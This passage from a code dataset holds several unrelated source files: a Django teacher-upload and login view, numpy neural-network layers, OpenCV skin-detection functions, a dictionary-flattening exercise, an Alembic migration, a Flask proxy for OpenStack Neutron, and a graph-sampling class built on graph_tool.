taught'].split(',')\n if row['Profile picture'] in archive.namelist():\n image = archive.open(row['Profile picture'], 'r')\n df = File(image)\n teacher.profile_picture.save(row['Profile picture'], df, save=True)\n for subj in subjects:\n if subj != '':\n subject, _ = Subject.objects.get_or_create(name=subj.strip().upper())\n if teacher.subjects.count() < 5:\n teacher.subjects.add(subject)\n messages.success(request, 'Data inserted successfully')\n except Exception as e:\n messages.info(request, e)\n finally:\n # 634657778\n os.remove(zippath)\n return render(request, self.template_name, {'form': form})\n\n\nclass ErrorView(View):\n\n def get(self, request, tagname):\n\n return render(request, '404.html')\n\n def post(self, request, tagname):\n\n # Login Update\n if tagname in [\"portal-upload\"]:\n if request.user.is_authenticated:\n error_all = {}\n error_string = str()\n try:\n # Zip File Getting\n zip_file = ZipFile(request.FILES['image_details'])\n\n # Form Validation\n form = ImportFileForm(request.POST, request.FILES)\n if form.is_valid():\n\n # CSV Data Fetching\n csv_file = request.FILES['teachers_details']\n if not csv_file.name.endswith('.csv'):\n error = 'File is not CSV type'\n return HttpResponse(error)\n # if file is too large, return\n if csv_file.multiple_chunks():\n error = \"Uploaded file is too big (%.2f MB).\" % (csv_file.size / (1000 * 1000),)\n return HttpResponse(error)\n file_data = csv_file.read().decode(\"utf-8\")\n io_string = io.StringIO(file_data)\n lines = file_data.split(\"\\n\")\n headers = lines[0].lower().strip().replace(\" \", \"_\")\n array_corrector = headers.split(\",\")\n\n next(io_string)\n # return HttpResponse(csv.reader(io_string))\n i = 0\n\n for row in csv.reader(io_string):\n i = i + 1\n data_dict = {}\n data_dict[array_corrector[0]] = row[0]\n data_dict[array_corrector[1]] = row[1]\n data_dict[array_corrector[2]] = row[2]\n data_dict[array_corrector[3]] = row[3]\n data_dict[array_corrector[4]] = row[4]\n data_dict[array_corrector[5]] = row[5]\n data_dict[array_corrector[6]] = row[6]\n list_of_subjects_taught = []\n subjects_taught = []\n if data_dict[\"subjects_taught\"]:\n subjects_taught = data_dict[\"subjects_taught\"].split(\",\")\n\n # Unique Subjects\n for single_entry in subjects_taught:\n single_entry = single_entry.strip()\n if single_entry not in list_of_subjects_taught:\n list_of_subjects_taught.append(single_entry)\n\n subjects_taught_total = len(list_of_subjects_taught)\n data_dict[\"subjects_taught\"] = ', '.join(list_of_subjects_taught)\n form = TeacherForm(data_dict)\n try:\n if form.is_valid():\n\n # Validate Subjects greater than 5\n if subjects_taught_total > 5:\n error_string = error_string + '
Row- ' + str(\n i) + ' No More than 5 Subjects'\n continue\n # getting Suitable profile picture for the portal\n if len(data_dict['profile_picture']) >= 3:\n name = data_dict['profile_picture']\n try:\n data = zip_file.read(data_dict['profile_picture'])\n from PIL import Image\n image = Image.open(BytesIO(data))\n image.load()\n image = Image.open(BytesIO(data))\n image.verify()\n name = os.path.split(name)[1]\n\n # You now have an image which you can save\n path = os.path.join(settings.MEDIA_ROOT,\n \"teacherapp/static/storage/profile\",\n name)\n\n saved_path = default_storage.save(path, ContentFile(data))\n data_dict[\"profile_path\"] = saved_path\n\n except ImportError as e:\n error_all[str(i)] = form.errors.as_json()\n error_string = error_string + '
Row- ' + str(i) + ' Image Not Exist'\n pass\n except Exception as e:\n error_all[str(i)] = form.errors.as_json()\n error_string = error_string + '
Row- ' + str(i) + ' Image Not Exist'\n\n form = TeacherForm(data_dict)\n try:\n if form.is_valid():\n print(\"true\")\n else:\n error_all[str(i)] = form.errors.as_json()\n error_string = error_string + '
Row- ' + str(i) + ' ' + ' '.join(\n [' '.join(x for x in l) for l in list(form.errors.values())])\n\n continue\n\n except Exception as e:\n\n error_all[str(i)] = form.errors.as_json()\n error_string = error_string + '
Row- ' + str(i) + 'Please Check data'\n continue\n # form Save\n form.save()\n else:\n\n if subjects_taught_total > 5:\n error_string = error_string + '
Row- ' + str(\n i) + ' No More than 5 Subjects'\n\n error_string = error_string + '
Row- ' + str(i) + ' ' + ' '.join(\n [' '.join(x for x in l) for l in list(form.errors.values())])\n except Exception as e:\n error_string = error_string + '
Row- ' + str(i) + 'Please Check the data'\n pass\n else:\n messages.add_message(request, messages.ERROR, \"Unable to upload file\")\n return HttpResponseRedirect(\"/portal-upload\")\n\n except Exception as e:\n messages.add_message(request, messages.ERROR, \"Unable to upload file.\")\n return HttpResponseRedirect(\"/portal-upload\")\n\n if len(error_string.strip()) >= 1:\n messages.add_message(request, messages.WARNING, error_string)\n\n return HttpResponseRedirect(\"/portal-upload\")\n else:\n messages.add_message(request, messages.SUCCESS, 'Uploaded Successfully !!')\n return HttpResponseRedirect(\"/teachers\")\n else:\n return HttpResponseRedirect('/login')\n\n # Login Update\n if tagname == \"login\":\n if request.user.is_authenticated:\n return HttpResponseRedirect('/portal-upload')\n else:\n username = request.POST.get(\"username\")\n password = request.POST.get(\"password\")\n try:\n if \"@\" in username:\n user = User.objects.get(email=username)\n else:\n user = User.objects.get(username=username)\n user = authenticate(request, username=user.username, password=password)\n if user is not None:\n login(request, user)\n messages.success(request, \"You have successfully logged in\")\n if request.session.get('url_redirect'):\n return HttpResponseRedirect(request.session.get('url_redirect'))\n\n return HttpResponseRedirect(\"/teachers\")\n else:\n messages.add_message(request, messages.ERROR, \"Wrong password\")\n except ObjectDoesNotExist:\n messages.add_message(request, messages.ERROR, \"User not found\")\n\n return HttpResponseRedirect(\"/login\")\n","sub_path":"portal/teacher_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"523478489","text":"import numpy as np\n\ndef forward_step(x,w,b):\n \"\"\"\n Computes the forward pass of the neural network\n \n Inputs:\n x: Numpy array of shape (N,d) where N is number of samples \n and d is the dimension of input\n w: numpy array of shape (d x H) where H is size of hidden layer\n b: It is the bias matrix of shape (H,)\n \n Outputs:\n out: output of shape (N x H)\n cache: values used to calculate the output (x,w,b)\n \"\"\"\n out = None\n cache = (x,w,b) \n out = x.dot(w)+b\n \n \n return (out,cache)\n\n\ndef backward_step(d_out,cache,input_layer = False):\n \"\"\"\n Computes the backward pass of the neural network\n \n Inputs:\n d_out: calculated derivatives \n cache: (x,w,b) values of corresponding d_out values\n input_layer: TRUE/FALSE\n \n Outptus:\n dx: gradients with respect to x\n dw: gradients with respect to w\n db: gradients with respect to b \n \"\"\"\n x,w,b = cache\n dx,dw,db = None, None, None\n \n # dx is not valid for input layer. If input_layer is true then dx will just return None\n \n if not input_layer:\n dx = d_out.dot(w.T) \n dw = x.T.dot(d_out)\n db = np.sum(d_out, axis=0)\n \n \n return (dw,db,dx)\n\ndef ReLu_forward(x):\n \"\"\"\n Computes the ReLu activation for forward pass\n \n Inputs:\n x: numpy array of any shape\n \n Outputs:\n out : should be same shape as input\n cache: values used to calculate the output (out)\n \"\"\"\n cache = x\n out = None \n out = np.maximum(0, x)\n \n return (out,cache)\n\ndef ReLu_backward(d_out,cache):\n \"\"\"\n Computes the backward pass for ReLu \n \n Inputs: \n d_out: derivatives of any shape\n cache: has x corresponding to d_out\n \n Outputs:\n dx: gradients with respect to x\n \"\"\"\n x = cache\n dx = None\n \n dx = d_out\n dx[x < 0] = 0\n \n return (dx)\n\ndef softmax(x):\n \"\"\"\n Computes the softmax loss and gradient for the neural network\n \n Inputs:\n x: numpy array of shape (N,C) where N is number of samples \n and C is number of classes\n y: vector of labels with shape (N,)\n Outputs:\n out: softmax output of shape \n loss: loss of forward pass (scalar value)\n dx: gradient of loss with respect to x\n \"\"\"\n out = None\n shift_scores = x - np.max(x, axis = 1).reshape(-1,1)\n out = np.exp(shift_scores)/np.sum(np.exp(shift_scores), axis = 1).reshape(-1,1)\n \n return (out)\n\ndef loss(x,y):\n \"\"\"\n Computes the softmax loss and gradient for the neural network\n \n Inputs:\n x: Matrix of shape (N,C) where N is number of samples \n and C is number of classes\n y: vector of labels with shape (N,)\n Outputs:\n loss: loss of forward pass (scalar value)\n dx: gradient of loss with respect to x\n \"\"\"\n loss,de = None,None\n num_train = x.shape[0]\n loss = -np.sum(np.log(x[range(num_train), list(y)]))\n loss /= num_train \n de= x.copy()\n de[range(num_train), list(y)] += -1 \n de /= num_train\n return (loss,de)\n\n","sub_path":"layers.py","file_name":"layers.py","file_ext":"py","file_size_in_byte":3024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"315895770","text":"\n####################\nimport cv2\nimport numpy as np\nimport fourierDescriptor as fd\n\n\ndef new_Canny(dilation,res):\n gray = cv2.cvtColor(dilation, cv2.COLOR_RGB2GRAY)\n cv2.imshow(\"gray\", gray)\n ret, s = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n cv2.imshow(\"s\", s)\n binaryimg = cv2.Canny(s, 50, 200) # 二值化,canny检测\n cv2.imshow(\"binaryimg\", binaryimg)\n h = cv2.findContours(binaryimg, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE) # 寻找轮廓\n contour = h[1]\n contour = sorted(contour, key=cv2.contourArea, reverse=True)\n\n # area = []\n # # print(h[1])\n # for k in range(len(h[1])):\n # print(k)\n # area.append(cv2.contourArea(h[1][k]) )\n # max_idx = np.argmax(np.array(area))\n\n contours = contour[0] # 提取轮廓\n # print(contours)\n ret = np.ones(res.shape, np.uint8) # 创建黑色幕布\n cv2.drawContours(ret, contours, -1, (255, 255, 255), 1) # 绘制白色轮廓\n cv2.imshow(\"ret\", ret)\n ret = cv2.Canny(ret, 50, 200) # 二值化,canny检测r\n print(ret.shape)\n cv2.imshow(\"ret1\", ret)\n\n return ret\n\n\ndef new_binaryMask(frame, x0, y0, width, height):\n cv2.rectangle(frame, (x0, y0), (x0 + width, y0 + height), (0, 255, 0)) # 画出截取的手势框图\n roi = frame[y0:y0 + height, x0:x0 + width] # 获取手势框图\n\n #cv2.imshow(\"roi\", roi) # 显示手势框图\n res = skinMask2(roi) # 进行肤色检测\n # cv2.imshow(\"肤色检测后的图像\", res) # 显示肤色检测后的图像\n\n ###############服饰膨胀##############################\n kernel = np.ones((3, 3), np.uint8) # 设置卷积核\n erosion = cv2.erode(res, kernel) # 腐蚀操作\n # cv2.imshow(\"erosion\", erosion)\n dilation = cv2.dilate(erosion, kernel) # 膨胀操作\n # cv2.imshow(\"dilation\", dilation)\n #\n # ##############轮廓提取#######################################\n # ret = new_Ca nny(dilation,res)\n\n # print(dilation.shape)\n ret, descirptor_in_use = fd.fourierDesciptor(dilation)\n black = fd.reconstruct(dilation,descirptor_in_use)\n\n # print(ret.shape)\n # cv2.imshow(\"black\", black)\n # cv2.imshow(\"ret\", ret)\n # print(\"fourier_result\",fourier_result)\n # cv2.imshow(\"fourier_result\", fourier_result)\n # print(ret_image.shape)\n # cv2.imshow(\"ret_image\", ret_image)\n # cv2.imshow(\"fourier_result\", fourier_result)\n return ret\n\n################方法一####################\n#########椭圆肤色检测模型##########\ndef skinMask1(roi):\n skinCrCbHist = np.zeros((256,256), dtype= np.uint8)\n cv2.ellipse(skinCrCbHist, (113,155),(23,25), 43, 0, 360, (255,255,255), -1) #绘制椭圆弧线\n YCrCb = cv2.cvtColor(roi, cv2.COLOR_BGR2YCR_CB) #转换至YCrCb空间\n (y,Cr,Cb) = cv2.split(YCrCb) #拆分出Y,Cr,Cb值\n skin = np.zeros(Cr.shape, dtype = np.uint8) #掩膜\n (x,y) = Cr.shape\n for i in range(0, x):\n for j in range(0, y):\n if skinCrCbHist [Cr[i][j], Cb[i][j]] > 0: #若不在椭圆区间中\n skin[i][j] = 255\n res = cv2.bitwise_and(roi,roi, mask = skin)\n return res\n\n################方法二####################\n####YCrCb颜色空间的Cr分量+Otsu法阈值分割算法#\ndef skinMask2(roi):\n YCrCb = cv2.cvtColor(roi, cv2.COLOR_BGR2YCR_CB) #转换至YCrCb空间\n (y,cr,cb) = cv2.split(YCrCb) #拆分出Y,Cr,Cb值\n cr1 = cv2.GaussianBlur(cr, (5,5), 0)\n _, skin = cv2.threshold(cr1, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) #Ostu处理\n res = cv2.bitwise_and(roi,roi, mask = skin)\n return res\n\n##########方法三###################\n########HSV颜色空间H范围筛选法######\ndef skinMask3(roi):\n\tlow = np.array([0, 48, 50]) #最低阈值\n\thigh = np.array([20, 255, 255]) #最高阈值\n\thsv = cv2.cvtColor(roi, cv2.COLOR_BGR2HSV) #转换到HSV空间\n\tmask = cv2.inRange(hsv,low,high) #掩膜,不在范围内的设为255\n\tres = cv2.bitwise_and(roi,roi, mask = mask) #图像与运算\n\treturn res","sub_path":"手势识别/pyqt/new/picture.py","file_name":"picture.py","file_ext":"py","file_size_in_byte":3970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"447341891","text":"#!/usr/bin/python\n\"\"\"\nflatten:\n{\n 'a': 'app',\n 'b': {\n 'b': 'bbb',\n 'c': 'ccc'\n }\n}\n\nto\n'{a:app, b:{b:bbb,c:ccc}}'\nAtlassian phone interview where I screwed up\n\"\"\"\ndef flatten(dic_content):\n if type(dic_content) is str:\n return dic_content\n\n res = []\n for key, content in dic_content.iteritems():\n res.append(key + ':' + flatten(content))\n\n return '{' + ','.join(res) + '}'\n\ndef test1():\n input = {'a': 'app', 'b': {'b': 'bbb','c': 'ccc'}}\n print(flatten(input))\n\nif __name__ == '__main__':\n test1()\n","sub_path":"recursion/flattenDictionary.py","file_name":"flattenDictionary.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"299762582","text":"\"\"\"following added\n\nRevision ID: 60f9e8aa6512\nRevises: df9d97789a67\nCreate Date: 2018-04-28 05:55:27.574733\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '60f9e8aa6512'\ndown_revision = 'df9d97789a67'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('follows',\n sa.Column('follower_id', sa.Integer(), nullable=False),\n sa.Column('followed_id', sa.Integer(), nullable=False),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['followed_id'], ['users.id'], ),\n sa.ForeignKeyConstraint(['follower_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('follower_id', 'followed_id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('follows')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/60f9e8aa6512_following_added.py","file_name":"60f9e8aa6512_following_added.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"147096225","text":"import json\nfrom flask import Blueprint\n\nimport log\nimport config\nimport request as httprequest\nfrom keystone import commonfun, make_response\n\nneutronmod = Blueprint('neutronmod', __name__)\n\n\n@neutronmod.route('/v2.0/networks', methods=['GET'])\n@neutronmod.route('/v2.0/networks/', methods=['GET'])\n@commonfun\ndef network_resrc(auth, region, tenant_id=None):\n res_url = get_url(auth, 'networks', tenant_id)\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n\n\n@neutronmod.route('/v2.0/subnets', methods=['GET'])\n@neutronmod.route('/v2.0/subnets/', methods=['GET'])\n@commonfun\ndef subnet_resrc(auth, region, tenant_id=None):\n res_url = get_url(auth, 'subnets', tenant_id)\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n\n\n@neutronmod.route('/v2.0/ports', methods=['GET'])\n@neutronmod.route('/v2.0/ports/', methods=['GET'])\n@commonfun\ndef port_resrc(auth, region, tenant_id=None):\n res_url = get_url(auth, 'ports', tenant_id)\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n\n\n@neutronmod.route('/v2.0/routers', methods=['GET'])\n@neutronmod.route('/v2.0/routers/', methods=['GET'])\n@commonfun\ndef router_resrc(auth, region, tenant_id=None):\n res_url = get_url(auth, 'routers', tenant_id)\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n\n\n@neutronmod.route('/v2.0/security-groups', methods=['GET'])\n@neutronmod.route('/v2.0/security-groups/',\n methods=['GET'])\n@commonfun\ndef security_group_resrc(auth, region, tenant_id=None):\n res_url = get_url(auth, 'security-groups', tenant_id)\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n\n\n@neutronmod.route('/v2.0/floatingips', methods=['GET'])\n@neutronmod.route('/v2.0/floatingips/', methods=['GET'])\n@commonfun\ndef floatingip_resrc(auth, region, tenant_id=None):\n res_url = get_url(auth, 'floatingips', tenant_id)\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n\n\n@neutronmod.route('/v2.0/lb/', methods=['GET'])\n@neutronmod.route('/v2.0/lb//', methods=['GET'])\n@commonfun\ndef loadbalance_resrc(auth, region, sub_res, tenant_id=None):\n res_url = get_url(auth, 'lb', sub_res, tenant_id)\n try:\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n except Exception as exc:\n resp = {'code': 404, 'message': 'RESOURCE NOT FOUND'}\n return make_response(str(resp), 404)\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n\n\n@neutronmod.route('/v2.0/fw/', methods=['GET'])\n@neutronmod.route('/v2.0/fw//', methods=['GET'])\n@commonfun\ndef firewall_resrc(auth, region, sub_res, tenant_id=None):\n sub_resources = ('firewall_policies',\n 'firewalls', 'firewall_rules')\n if sub_res not in sub_resources:\n resp = {'code': 404, 'message': 'RESOURCE NOT FOUND'}\n return make_response(str(resp), 404)\n\n res_url = get_url(auth, 'fw', sub_res, tenant_id)\n try:\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n except Exception as exc:\n if not tenant_id:\n resp = firewall_default_data(sub_res, is_list=True)\n else:\n resp = firewall_default_data(sub_res, is_list=False)\n return make_response(str(resp), 404)\n\n\n@neutronmod.route('/v2.0/vpn/', methods=['GET'])\n@neutronmod.route('/v2.0/vpn//', methods=['GET'])\n@commonfun\ndef vpn_resrc(auth, region, sub_res, tenant_id=None):\n sub_resources = ('vpnservices', 'ipsecpolicies',\n 'ikepolicies', 'ipsec-site-connections')\n if sub_res not in sub_resources:\n resp = {'code': 404, 'message': 'RESOURCE NOT FOUND'}\n return make_response(str(resp), 404)\n\n res_url = get_url(auth, 'vpn', sub_res, tenant_id)\n try:\n resp = httprequest.httpclient(\n 'GET', res_url, auth[0])\n log.info('RESP:' + str(resp.json()))\n return make_response(json.dumps(resp.json()),\n resp.status_code)\n except Exception as exc:\n if not tenant_id:\n resp = firewall_default_data(sub_res, is_list=True)\n else:\n resp = firewall_default_data(sub_res, is_list=False)\n return make_response(str(resp), 404)\n\n\ndef get_url(auth_list, resource_name,\n tenantid_or_subres=None,\n sub_res_tenant_id=None):\n neutron_url = auth_list[2][0]\n res_url = neutron_url + '/' + resource_name\n if tenantid_or_subres:\n res_url += '/' + tenantid_or_subres\n if sub_res_tenant_id:\n res_url += '/' + sub_res_tenant_id\n log.info('REQ BEGIN(neutron): ' + 'GET ' + res_url)\n return res_url\n\n\ndef vpn_default_data(sub_res, is_list=True):\n data = {}\n sub_resource = {'vpnservices': 'vpnservice',\n 'ikepolicies': 'ikepolicy',\n 'ipsecpolicies': 'ipsecpolicy',\n 'ipsec-site-connections': 'ipsec_site_connection'}\n sub_resources = {'vpnservices': 'vpnservices',\n 'ikepolicies': 'ikepolicies',\n 'ipsecpolicies': 'ipsecpolicies',\n 'ipsec-site-connections': 'ipsec_site_connections'}\n\n data['vpnservices'] = dict(router_id='', status='',\n name='', admin_state_up='',\n subnet_id='', tenant_id='',\n id='', description='')\n data['ikepolicies'] = dict(name='', tenant_id='', id='',\n auth_algorithm='', pfs='',\n encryption_algorithm='',\n phase1_negotiation_mode='',\n lifetime=dict(units='', value=''),\n ike_version='', description='')\n data['ipsecpolicies'] = dict(name='', transform_protocol='',\n auth_algorithm='', pfs='',\n encapsulation_mode='', id='',\n encryption_algorithm='',\n tenant_id='', description='',\n lifetime=dict(units='', value=''))\n\n data['ipsec-site-connections'] = dict(status='', initiator='',\n name='', admin_state_up='',\n tenant_id='', auth_mode='',\n peer_cidrs='', psk='', mtu='',\n ikepolicy_id='', id='',\n dpd=dict(action='', interval='',\n timeout=''),\n route_mode='', ipsecpolicy_id='',\n peer_address='', peer_id='',\n description='', vpnservice_id='',\n )\n\n if is_list:\n return {sub_resource[sub_res]: [data[sub_res]]}\n else:\n return {sub_resources[sub_res]: data[sub_res]}\n\n\ndef firewall_default_data(sub_res, is_list):\n data = {}\n sub_resource = {'firewall_policies': 'firewall_policy',\n 'firewalls': 'firewall',\n 'firewall_rules': 'firewall_rule'}\n sub_resources = {'firewall_policies': 'firewall_policies',\n 'firewalls': 'firewalls',\n 'firewall_rules': 'firewall_rules'}\n\n data['firewall_policies'] = dict(name='', id='',\n tenant_id='', shared='',\n audited='', status='',\n description='',\n firewall_rules='')\n data['firewalls'] = dict(id='', admin_state_up='',\n description='', name='',\n tenant_id='', status='',\n firewall_policy_id='')\n data['firewall_rules'] = dict(id='', firewall_policy_id='',\n tenant_id='', ip_version='',\n enabled='', protocol='',\n action='', description='',\n shared='', position='', name='',\n source_port='', source_ip_address='',\n destination_port='',\n destination_ip_address='')\n\n if is_list:\n return {sub_resource[sub_res]: [data[sub_res]]}\n else:\n return {sub_resources[sub_res]: data[sub_res]}\n","sub_path":"service/openstack/neutron.py","file_name":"neutron.py","file_ext":"py","file_size_in_byte":9707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"512055765","text":"\"\"\"A Stack object for incremental sampling\r\n\"\"\"\r\nimport argparse\r\nimport timeit\r\nfrom typing import Dict, List, Tuple\r\n\r\nfrom graph_tool import Graph\r\nfrom graph_tool.inference import BlockState\r\nfrom graph_tool.inference import minimize_blockmodel_dl\r\n\r\nfrom evaluation import Evaluation\r\nfrom sample import Sample\r\nfrom samplestate import SampleState\r\nfrom util import finetune_assignment\r\nfrom util import load_graph\r\nfrom util import partition_from_sample\r\n\r\n\r\nclass SampleStack(object):\r\n def __init__(self, args: argparse.Namespace) -> None:\r\n \"\"\"Creates a SampleStack object.\r\n\r\n Parameters\r\n ---------\r\n args : argparse.Namespace\r\n the command-line arguments provided by the user\r\n \"\"\"\r\n # Load graph\r\n # Create stack of samples\r\n # Use List as stack\r\n self.t_load_start = timeit.default_timer()\r\n self.full_graph, self.true_block_assignment = load_graph(args)\r\n self.t_load_end = timeit.default_timer()\r\n self.stack = list() # type: List[Tuple[Graph, Sample]]\r\n self.create_sample_stack(args)\r\n self.t_sample_end = timeit.default_timer()\r\n # End of __init__()\r\n\r\n def create_sample_stack(self, args: argparse.Namespace):\r\n \"\"\"Iteratively performs sampling to create the stack of samples.\r\n\r\n Parameters\r\n ----------\r\n args : argparse.Namespace\r\n the command-line arguments provided by the user\r\n \"\"\"\r\n # Iteratively perform sampling\r\n for iteration in range(args.sample_iterations):\r\n if iteration == 0:\r\n sampled_graph, sample = self.sample(self.full_graph, args)\r\n else:\r\n sampled_graph, sample = self.sample(self.full_graph, args, sample.state)\r\n self.stack.append((sampled_graph, sample))\r\n # End of create_sample_stack()\r\n\r\n def sample(self, graph: Graph, args: argparse.Namespace, prev_state: SampleState = None) -> Tuple[Graph, Sample]:\r\n \"\"\"Sample a set of vertices from the graph.\r\n\r\n Parameters\r\n ----------\r\n full_graph : Graph\r\n the graph from which to sample vertices\r\n args : Namespace\r\n the parsed command-line arguments\r\n prev_state : SampleState\r\n if prev_state is not None, sample will be conditioned on the previously selected vertices\r\n\r\n Returns\r\n ------\r\n sampled_graph : Graph\r\n the sampled graph created from the sampled Graph vertices\r\n sample : Sample\r\n the sample object containing the vertex and block mappings\r\n \"\"\"\r\n sample_size = int((self.full_graph.num_vertices() * (args.sample_size / 100)) / args.sample_iterations)\r\n if prev_state is None:\r\n prev_state = SampleState(sample_size)\r\n sample_object = Sample.create_sample(self.full_graph, self.true_block_assignment, args, prev_state)\r\n return sample_object.graph, sample_object\r\n # End of sample()\r\n\r\n def _push(self):\r\n # Add a subsample to the stack\r\n raise NotImplementedError()\r\n # End of _push()\r\n\r\n def _pop(self) -> Tuple[Graph, Sample]:\r\n # Propagate a subsample's results up the stack\r\n return self.stack.pop(0)\r\n # End of _pop()\r\n\r\n def unstack(self, args: argparse.Namespace, sampled_graph_partition: BlockState = None,\r\n evaluation: Evaluation = None) -> Tuple[Graph, BlockState, Dict, Dict, Evaluation]:\r\n \"\"\"Performs SBP on the first (innermost) sample. Merges said sample with the next in the stack, and performs\r\n SBP on the combined results. Repeats the process until all samples have been partitioned.\r\n\r\n Paramters\r\n ---------\r\n args : argparse.Namespace\r\n the command-line arguments supplied by the user\r\n sampled_graph_partition : BlockState\r\n the current partitioned state of the sampled graph. Default = None\r\n evaluation : Evaluation\r\n the current state of the evaluation of the algorithm. Default = None\r\n\r\n Returns\r\n -------\r\n sampled_graph : Graph\r\n the Graph object describing the combined samples\r\n sampled_graph_partition : BlockState\r\n the partition results of the combined samples\r\n vertex_mapping : Dict[int, int]\r\n the mapping of the vertices from the combined sample to the full graph\r\n block_mapping : Dict[int, int]\r\n the mapping of the communities/blocks from the combined sample to the full graph\r\n \"\"\"\r\n # Propagate results back through the stack\r\n sampled_graph, sample = self._pop()\r\n min_num_blocks = -1\r\n # denominator = 2\r\n # if args.sample_iterations > 1:\r\n # min_num_blocks = int(sampled_graph.num_nodes / denominator)\r\n # min_num_blocks = 0\r\n if evaluation is None:\r\n evaluation = Evaluation(args, sampled_graph)\r\n print(\"Subgraph: V = {} E = {}\".format(sampled_graph.num_vertices(), sampled_graph.num_edges()))\r\n t0 = timeit.default_timer()\r\n combined_partition = minimize_blockmodel_dl(sampled_graph,\r\n shrink_args={'parallel': True}, verbose=args.verbose,\r\n mcmc_equilibrate_args={'verbose': args.verbose, 'epsilon': 1e-4})\r\n evaluation.sampled_graph_partition_time += (timeit.default_timer() - t0)\r\n combined_sampled_graph = sampled_graph\r\n while len(self.stack) > 0:\r\n sampled_graph, next_sample = self._pop()\r\n t0 = timeit.default_timer()\r\n sample_partition = minimize_blockmodel_dl(sampled_graph,\r\n shrink_args={'parallel': True}, verbose=args.verbose,\r\n mcmc_equilibrate_args={'verbose': args.verbose, 'epsilon': 1e-4})\r\n evaluation.sampled_graph_partition_time += (timeit.default_timer() - t0)\r\n t1 = timeit.default_timer()\r\n # TODO: fix this to allow multi-sample strategies\r\n combined_partition, combined_sampled_graph, sample = self.combine_partition_with_sample(\r\n combined_partition, sample_partition, sample, next_sample, args\r\n )\r\n t2 = timeit.default_timer()\r\n # TODO: change to evaluation.merge_sample time?\r\n evaluation.propagate_membership += (t2 - t1)\r\n print(\"=====Performing final (combined) sample partitioning=====\")\r\n if min_num_blocks > 0 or (args.sample_iterations > 1):\r\n combined_partition.num_blocks_to_merge = 0\r\n sampled_graph_partition = minimize_blockmodel_dl(combined_sampled_graph,\r\n shrink_args={'parallel': True}, verbose=args.verbose,\r\n mcmc_equilibrate_args={'verbose': False, 'epsilon': 1e-4})\r\n else:\r\n sampled_graph_partition = combined_partition\r\n return (\r\n combined_sampled_graph, sampled_graph_partition, sample.vertex_mapping, sample.true_blocks_mapping,\r\n evaluation\r\n )\r\n # End of unstack()\r\n\r\n def extrapolate_sample_partition(self, sampled_graph_partition: BlockState, vertex_mapping: Dict[int, int],\r\n args: argparse.Namespace,\r\n evaluation: Evaluation) -> Tuple[Graph, BlockState, Evaluation]:\r\n \"\"\"Extrapolates the partitioning results from the sample to the full graph.\r\n\r\n This is done by first assigning to every unsampled vertex, the community to which it's most strongly\r\n connected. Then, a fine-tuning step (MCMC updates using a modified Metropolis-Hasting algorithm) is run\r\n on the result.\r\n\r\n Parameters\r\n ----------\r\n sampled_graph_partition : BlockState\r\n the current partitioned state of the sampled graph\r\n vertex_mapping : Dict[int, int]\r\n the mapping of sample vertices to full vertices\r\n args : argparse.Namespace\r\n the command-line arguments supplied by the user\r\n evaluation : Evaluation\r\n the current state of the evaluation of the algorithm\r\n\r\n Returns\r\n -------\r\n full_graph : Graph\r\n the graph object representing the entire (unsampled) graph\r\n full_graph_partition : BlockState\r\n the partition state of the full graph after extrapolation and fine-tuning\r\n evaluation : Evaluation\r\n the evaluation results of the algorithm\r\n \"\"\"\r\n t1 = timeit.default_timer()\r\n full_graph_partition = partition_from_sample(sampled_graph_partition, self.full_graph, vertex_mapping)\r\n t2 = timeit.default_timer()\r\n full_graph_partition = finetune_assignment(full_graph_partition, args)\r\n t3 = timeit.default_timer()\r\n evaluation.loading = self.t_load_end - self.t_load_start\r\n evaluation.sampling = self.t_sample_end - self.t_load_end\r\n evaluation.propagate_membership += (t2 - t1)\r\n evaluation.finetune_membership += (t3 - t2)\r\n return self.full_graph, full_graph_partition, evaluation\r\n # End of extrapolate_sample_partition()\r\n\r\n def tail(self) -> Tuple[Graph, Sample]:\r\n # Get innermost sample\r\n return self.stack[0]\r\n 